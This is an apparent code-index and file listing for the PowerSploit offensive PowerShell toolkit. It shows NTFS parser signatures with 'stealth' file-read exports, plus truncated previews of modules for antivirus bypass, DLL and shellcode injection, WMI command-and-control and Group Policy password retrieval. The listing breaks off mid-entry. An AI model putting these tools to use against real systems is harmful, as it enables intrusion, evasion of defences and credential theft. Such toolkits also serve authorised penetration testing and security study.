function BOOL (line 336) | BOOL CAttrNonResident::ParseDataRun()
function BOOL (line 393) | BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG ...
function BOOL (line 437) | BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters,
function ULONGLONG (line 503) | __inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) c...
function BOOL (line 513) | BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWO...
function class (line 595) | class CAttr_StdInfo : public CAttrResident
function GetFileTime (line 630) | void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, F...
function UTC2Local (line 677) | void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm)
function class (line 695) | class CFileName
function GetFileTime (line 964) | void CFileName::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILET...
function virtual (line 989) | virtual ~CAttr_FileName()
function DWORD (line 999) | __inline DWORD GetFilePermission(){}
function virtual (line 1022) | virtual ~CAttr_VolInfo()
function class (line 1042) | class CAttr_VolName : public CAttrResident
function virtual (line 1061) | virtual ~CAttr_VolName()
function GetName (line 1086) | __inline int GetName(char *buf, DWORD len) const
function virtual (line 1109) | virtual ~CAttr_Data()
function class (line 1119) | class CIndexEntry : public CFileName
function class (line 1232) | class CIndexBlock : public CIndexEntryList
function ParseIndexEntries (line 1309) | void CAttr_IndexRoot::ParseIndexEntries()
function class (line 1342) | class CAttr_IndexAlloc : public CAttrNonResident
function BOOL (line 1389) | BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD...
function ULONGLONG (line 1404) | __inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount()
function BOOL (line 1412) | BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock...
type CSList (line 1584) | typedef CSList<CFileRecord> CFileRecordList;
FILE: Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h
function virtual (line 93) | virtual ~CEntrySmartPtr()
function ENTRY_TYPE (line 114) | __inline const ENTRY_TYPE* operator->() const
function virtual (line 140) | virtual ~CSList()
function BOOL (line 159) | BOOL InsertEntry(ENTRY_TYPE *entry)
function RemoveAll (line 180) | void RemoveAll()
function ENTRY_TYPE (line 197) | __inline ENTRY_TYPE *FindFirstEntry() const
function ENTRY_TYPE (line 208) | __inline ENTRY_TYPE *FindNextEntry() const
function ThrowAll (line 221) | __inline void ThrowAll()
function virtual (line 243) | virtual ~CStack()
function BOOL (line 261) | BOOL Push(ENTRY_TYPE *entry)
function ENTRY_TYPE (line 280) | ENTRY_TYPE* Pop()
function RemoveAll (line 299) | void RemoveAll()
FILE: Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h
type NTFS_BPB (line 25) | typedef struct tagNTFS_BPB
type FILE_RECORD_HEADER (line 104) | typedef struct tagFILE_RECORD_HEADER
type ATTR_HEADER_COMMON (line 154) | typedef struct tagATTR_HEADER_COMMON
type ATTR_HEADER_RESIDENT (line 165) | typedef struct tagATTR_HEADER_RESIDENT
type ATTR_HEADER_NON_RESIDENT (line 174) | typedef struct tagATTR_HEADER_NON_RESIDENT
type ATTR_STANDARD_INFORMATION (line 204) | typedef struct tagATTR_STANDARD_INFORMATION
type ATTR_ATTRIBUTE_LIST (line 223) | typedef struct tagATTR_ATTRIBUTE_LIST
type ATTR_FILE_NAME (line 256) | typedef struct tagATTR_FILE_NAME
type ATTR_VOLUME_INFORMATION (line 283) | typedef struct tagATTR_VOLUME_INFORMATION
type ATTR_INDEX_ROOT (line 312) | typedef struct tagATTR_INDEX_ROOT
type INDEX_ENTRY (line 334) | typedef struct tagINDEX_ENTRY
type INDEX_BLOCK (line 364) | typedef struct tagINDEX_BLOCK
FILE: Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h
function class (line 24) | class CNTFSVolume
function BOOL (line 348) | BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
function BOOL (line 399) | BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fi...
function TraverseSubNode (line 450) | void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBAC...
function BOOL (line 475) | BOOL CFileRecord::ParseAttrs()
function BOOL (line 510) | BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
function ClearAttrRawCB (line 523) | __inline void CFileRecord::ClearAttrRawCB()
function SetAttrMask (line 530) | __inline void CFileRecord::SetAttrMask(DWORD mask)
function TraverseAttrs (line 537) | void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
function CAttrBase (line 561) | __inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
function CAttrBase (line 568) | const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
function GetFileName (line 576) | int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
function ULONGLONG (line 597) | __inline ULONGLONG CFileRecord::GetFileSize() const
function TraverseSubEntries (line 629) | void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
function BOOL (line 655) | __inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CI...
function CAttrBase (line 703) | const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
function BOOL (line 738) | __inline BOOL CFileRecord::IsReadOnly() const
function BOOL (line 751) | __inline BOOL CFileRecord::IsSystem() const
function BOOL (line 763) | __inline BOOL CFileRecord::IsEncrypted() const
function BOOL (line 846) | BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
function BOOL (line 970) | BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
function ClearAttrRawCB (line 983) | __inline void CNTFSVolume::ClearAttrRawCB()
FILE: Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp
type FileInfo_t (line 24) | struct FileInfo_t
function HANDLE (line 32) | HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr)
function DWORD (line 124) | DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* ...
function StealthCloseFile (line 155) | void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo)
FILE: Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h
type DataRun_Entry (line 24) | typedef struct tagDataRun_Entry
type class (line 31) | typedef class CSList<DataRun_Entry> CDataRunList;
type class (line 37) | typedef class CSList<CIndexEntry> CIndexEntryList;
function class (line 43) | class CAttrBase
function class (line 184) | class CAttrResident : public CAttrBase
function ULONGLONG (line 220) | __inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const
function BOOL (line 230) | BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD ...
function class (line 256) | class CAttrNonResident : public CAttrBase
function BOOL (line 300) | BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, ...
function BOOL (line 336) | BOOL CAttrNonResident::ParseDataRun()
function BOOL (line 393) | BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG ...
function BOOL (line 437) | BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters,
function ULONGLONG (line 503) | __inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) c...
function BOOL (line 513) | BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWO...
function class (line 595) | class CAttr_StdInfo : public CAttrResident
function GetFileTime (line 630) | void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, F...
function UTC2Local (line 677) | void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm)
function class (line 695) | class CFileName
function GetFileTime (line 964) | void CFileName::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILET...
function virtual (line 989) | virtual ~CAttr_FileName()
function DWORD (line 999) | __inline DWORD GetFilePermission(){}
function virtual (line 1022) | virtual ~CAttr_VolInfo()
function class (line 1042) | class CAttr_VolName : public CAttrResident
function virtual (line 1061) | virtual ~CAttr_VolName()
function GetName (line 1086) | __inline int GetName(char *buf, DWORD len) const
function virtual (line 1109) | virtual ~CAttr_Data()
function class (line 1119) | class CIndexEntry : public CFileName
function class (line 1232) | class CIndexBlock : public CIndexEntryList
function ParseIndexEntries (line 1309) | void CAttr_IndexRoot::ParseIndexEntries()
function class (line 1342) | class CAttr_IndexAlloc : public CAttrNonResident
function BOOL (line 1389) | BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD...
function ULONGLONG (line 1404) | __inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount()
function BOOL (line 1412) | BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock...
type CSList (line 1584) | typedef CSList<CFileRecord> CFileRecordList;
FILE: Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h
function virtual (line 93) | virtual ~CEntrySmartPtr()
function ENTRY_TYPE (line 114) | __inline const ENTRY_TYPE* operator->() const
function virtual (line 140) | virtual ~CSList()
function BOOL (line 159) | BOOL InsertEntry(ENTRY_TYPE *entry)
function RemoveAll (line 180) | void RemoveAll()
function ENTRY_TYPE (line 197) | __inline ENTRY_TYPE *FindFirstEntry() const
function ENTRY_TYPE (line 208) | __inline ENTRY_TYPE *FindNextEntry() const
function ThrowAll (line 221) | __inline void ThrowAll()
function virtual (line 243) | virtual ~CStack()
function BOOL (line 261) | BOOL Push(ENTRY_TYPE *entry)
function ENTRY_TYPE (line 280) | ENTRY_TYPE* Pop()
function RemoveAll (line 299) | void RemoveAll()
FILE: Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h
type NTFS_BPB (line 25) | typedef struct tagNTFS_BPB
type FILE_RECORD_HEADER (line 104) | typedef struct tagFILE_RECORD_HEADER
type ATTR_HEADER_COMMON (line 154) | typedef struct tagATTR_HEADER_COMMON
type ATTR_HEADER_RESIDENT (line 165) | typedef struct tagATTR_HEADER_RESIDENT
type ATTR_HEADER_NON_RESIDENT (line 174) | typedef struct tagATTR_HEADER_NON_RESIDENT
type ATTR_STANDARD_INFORMATION (line 204) | typedef struct tagATTR_STANDARD_INFORMATION
type ATTR_ATTRIBUTE_LIST (line 223) | typedef struct tagATTR_ATTRIBUTE_LIST
type ATTR_FILE_NAME (line 256) | typedef struct tagATTR_FILE_NAME
type ATTR_VOLUME_INFORMATION (line 283) | typedef struct tagATTR_VOLUME_INFORMATION
type ATTR_INDEX_ROOT (line 312) | typedef struct tagATTR_INDEX_ROOT
type INDEX_ENTRY (line 334) | typedef struct tagINDEX_ENTRY
type INDEX_BLOCK (line 364) | typedef struct tagINDEX_BLOCK
FILE: Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h
function class (line 24) | class CNTFSVolume
function BOOL (line 348) | BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
function BOOL (line 399) | BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fi...
function TraverseSubNode (line 450) | void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBAC...
function BOOL (line 475) | BOOL CFileRecord::ParseAttrs()
function BOOL (line 510) | BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
function ClearAttrRawCB (line 523) | __inline void CFileRecord::ClearAttrRawCB()
function SetAttrMask (line 530) | __inline void CFileRecord::SetAttrMask(DWORD mask)
function TraverseAttrs (line 537) | void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
function CAttrBase (line 561) | __inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
function CAttrBase (line 568) | const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
function GetFileName (line 576) | int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
function ULONGLONG (line 597) | __inline ULONGLONG CFileRecord::GetFileSize() const
function TraverseSubEntries (line 629) | void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
function BOOL (line 655) | __inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CI...
function CAttrBase (line 703) | const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
function BOOL (line 738) | __inline BOOL CFileRecord::IsReadOnly() const
function BOOL (line 751) | __inline BOOL CFileRecord::IsSystem() const
function BOOL (line 763) | __inline BOOL CFileRecord::IsEncrypted() const
function BOOL (line 846) | BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
function BOOL (line 970) | BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
function ClearAttrRawCB (line 983) | __inline void CNTFSVolume::ClearAttrRawCB()
FILE: Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp
function BOOL (line 21) | BOOL APIENTRY DllMain( HMODULE hModule,
Condensed preview — 291 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (6,441K chars).
[
{
"path": ".gitignore",
"chars": 2638,
"preview": "#################\n## Eclipse\n#################\n\n*.pydevproject\n.project\n.metadata\nbin/\ntmp/\n*.tmp\n*.bak\n*.swp\n*~.nib\nloc"
},
{
"path": "AntivirusBypass/AntivirusBypass.psd1",
"chars": 844,
"preview": "@{\r\n\r\n# Script module or binary module file associated with this manifest.\r\nModuleToProcess = 'AntivirusBypass.psm1'\r\n\r\n"
},
{
"path": "AntivirusBypass/AntivirusBypass.psm1",
"chars": 67,
"preview": "Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}\n"
},
{
"path": "AntivirusBypass/Find-AVSignature.ps1",
"chars": 6748,
"preview": "function Find-AVSignature\n{\n<#\n.SYNOPSIS\n\nLocate tiny AV signatures.\n\nPowerSploit Function: Find-AVSignature \nAuthors: "
},
{
"path": "AntivirusBypass/Usage.md",
"chars": 776,
"preview": "To install this module, drop the entire AntivirusBypass folder into one of your module directories. The default PowerShe"
},
{
"path": "CodeExecution/CodeExecution.psd1",
"chars": 952,
"preview": "@{\n\n# Script module or binary module file associated with this manifest.\nModuleToProcess = 'CodeExecution.psm1'\n\n# Versi"
},
{
"path": "CodeExecution/CodeExecution.psm1",
"chars": 67,
"preview": "Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}\n"
},
{
"path": "CodeExecution/Invoke-DllInjection.ps1",
"chars": 13053,
"preview": "function Invoke-DllInjection\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nInjects a Dll into the process ID of your choosing.\r\n\r\nPowerSploit Fun"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection.ps1",
"chars": 151863,
"preview": "function Invoke-ReflectivePEInjection\n{\n<#\n.SYNOPSIS\n\nThis script has two modes. It can reflectively load a DLL/EXE in t"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.cpp",
"chars": 1584,
"preview": "// DemoDLL.cpp : Defines the exported functions for the DLL application.\n//\n\n#include \"stdafx.h\"\n#include \"DemoDLL.h\"\n\nu"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.h",
"chars": 796,
"preview": "// The following ifdef block is the standard way of creating macros which make exporting \n// from a DLL simpler. All fil"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.vcxproj",
"chars": 8535,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.vcxproj.filters",
"chars": 1474,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/ReadMe.txt",
"chars": 1660,
"preview": "========================================================================\n DYNAMIC LINK LIBRARY : DemoDLL Project Over"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/dllmain.cpp",
"chars": 391,
"preview": "// dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n\nBOOL APIENTRY DllMain( HMODULE hM"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/stdafx.cpp",
"chars": 286,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// DemoDLL.pch will be the pre-compiled header\n// s"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/stdafx.h",
"chars": 479,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL.sln",
"chars": 1214,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess.cpp",
"chars": 442,
"preview": "// DemoDLL_RemoteProcess.cpp : Defines the exported functions for the DLL application.\n//\n\n#include \"stdafx.h\"\n\nusing na"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess.vcxproj",
"chars": 8885,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess.vcxproj.filters",
"chars": 1399,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/ReadMe.txt",
"chars": 2218,
"preview": "========================================================================\n DYNAMIC LINK LIBRARY : DemoDLL_RemoteProces"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/dllmain.cpp",
"chars": 604,
"preview": "// dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n\nusing namespace std;\n\nBOOL APIENT"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/stdafx.cpp",
"chars": 300,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// DemoDLL_RemoteProcess.pch will be the pre-compil"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/stdafx.h",
"chars": 481,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess.sln",
"chars": 1256,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2012\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe.sln",
"chars": 1985,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2012\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/DemoExe_MD.cpp",
"chars": 411,
"preview": "// DemoExe.cpp : Defines the entry point for the console application.\n//\n\n#include \"stdafx.h\"\n#include <iostream>\n\nusing"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/DemoExe_MD.vcxproj",
"chars": 7884,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/DemoExe_MD.vcxproj.filters",
"chars": 1297,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/ReadMe.txt",
"chars": 1696,
"preview": "========================================================================\n CONSOLE APPLICATION : DemoExe_MD Project Ov"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/stdafx.cpp",
"chars": 289,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// DemoExe_MD.pch will be the pre-compiled header\n/"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/stdafx.h",
"chars": 305,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/DemoExe_MDd.cpp",
"chars": 411,
"preview": "// DemoExe.cpp : Defines the entry point for the console application.\n//\n\n#include \"stdafx.h\"\n#include <iostream>\n\nusing"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/DemoExe_MDd.vcxproj",
"chars": 7774,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/DemoExe_MDd.vcxproj.filters",
"chars": 1298,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/ReadMe.txt",
"chars": 1703,
"preview": "========================================================================\n CONSOLE APPLICATION : DemoExe_MDd Project O"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/stdafx.cpp",
"chars": 290,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// DemoExe_MDd.pch will be the pre-compiled header\n"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/stdafx.h",
"chars": 305,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/ExeToInjectInTo.cpp",
"chars": 247,
"preview": "// ExeToInjectInTo.cpp : Defines the entry point for the console application.\n//\n\n#include \"stdafx.h\"\n#include <stdio.h>"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/ExeToInjectInTo.vcxproj",
"chars": 4442,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microso"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/ExeToInjectInTo.vcxproj.filters",
"chars": 1302,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/ReadMe.txt",
"chars": 1731,
"preview": "========================================================================\n CONSOLE APPLICATION : ExeToInjectInTo Proje"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/stdafx.cpp",
"chars": 294,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// ExeToInjectInTo.pch will be the pre-compiled hea"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/stdafx.h",
"chars": 305,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/targetver.h",
"chars": 306,
"preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo.sln",
"chars": 890,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2012\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/readme.txt",
"chars": 416,
"preview": "This contains the assembly code I used to build the shellcode the PowerShell script uses. Some of the assembly isn't inc"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x64/CallDllMain.asm",
"chars": 344,
"preview": "[SECTION .text]\nglobal _start\n\n_start:\n\t; Get stack setup\n\tpush rbx\n\tmov rbx, rsp\n\tand sp, 0xff00\n\t\n\t; Call DllMain\n\tmov"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x64/ExitThread.asm",
"chars": 280,
"preview": "[SECTION .text]\n\nglobal _start\n\n_start:\n\t; Set a var to 1, let PS known exe is exiting\n\tmov rbx, 0x4141414141414141\n\tmov"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x64/GetFuncAddress.asm",
"chars": 548,
"preview": "[SECTION .text]\n\nglobal _start\n\n_start:\n\t; Save state of rbx and stack\n\tpush rbx\n\tmov rbx, rsp\n\n\t; Set up stack for func"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x64/LoadLibraryA.asm",
"chars": 425,
"preview": "[SECTION .text]\n\nglobal _start\n\n_start:\n\t; Save rsp and setup stack for function call\n\tpush rbx\n\tmov rbx, rsp\n\tsub rsp, "
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x86/CallDllMain.asm",
"chars": 366,
"preview": "[SECTION .text]\nglobal _start\n\n_start:\n\t; Get stack setup\n\tpush ebx\n\tmov ebx, esp\n\tand esp, 0xfffffff0\n\t\n\t; Call DllMain"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x86/ExitThread.asm",
"chars": 272,
"preview": "[SECTION .text]\nglobal _start\n\n_start:\n\t; Set a var to 1, let PS know the EXE is exiting\n\tmov ebx, 0x41414141\n\tmov [ebx]"
},
{
"path": "CodeExecution/Invoke-ReflectivePEInjection_Resources/Shellcode/x86/GetProcAddress.asm",
"chars": 522,
"preview": "[SECTION .text]\n\nglobal _start\n\n_start:\n\t; Save state of ebx and stack\n\tpush ebx\n\tmov ebx, esp\n\t\n\t; Align stack\n\tand esp"
},
{
"path": "CodeExecution/Invoke-Shellcode.ps1",
"chars": 23807,
"preview": "function Invoke-Shellcode\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nInject shellcode into the process ID of your choosing or within the conte"
},
{
"path": "CodeExecution/Invoke-WmiCommand.ps1",
"chars": 14743,
"preview": "function Invoke-WmiCommand {\n<#\n.SYNOPSIS\n\nExecutes a PowerShell ScriptBlock on a target computer using WMI as a\npure C2"
},
{
"path": "CodeExecution/Usage.md",
"chars": 770,
"preview": "To install this module, drop the entire CodeExecution folder into one of your module directories. The default PowerShell"
},
{
"path": "Exfiltration/Exfiltration.psd1",
"chars": 1304,
"preview": "@{\r\n\r\n# Script module or binary module file associated with this manifest.\r\nModuleToProcess = 'Exfiltration.psm1'\r\n\r\n# V"
},
{
"path": "Exfiltration/Exfiltration.psm1",
"chars": 67,
"preview": "Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}\n"
},
{
"path": "Exfiltration/Get-GPPAutologon.ps1",
"chars": 4710,
"preview": "function Get-GPPAutologon \n{\n<#\n.SYNOPSIS\n\n Retrieves password from Autologon entries that are pushed through Group P"
},
{
"path": "Exfiltration/Get-GPPPassword.ps1",
"chars": 13672,
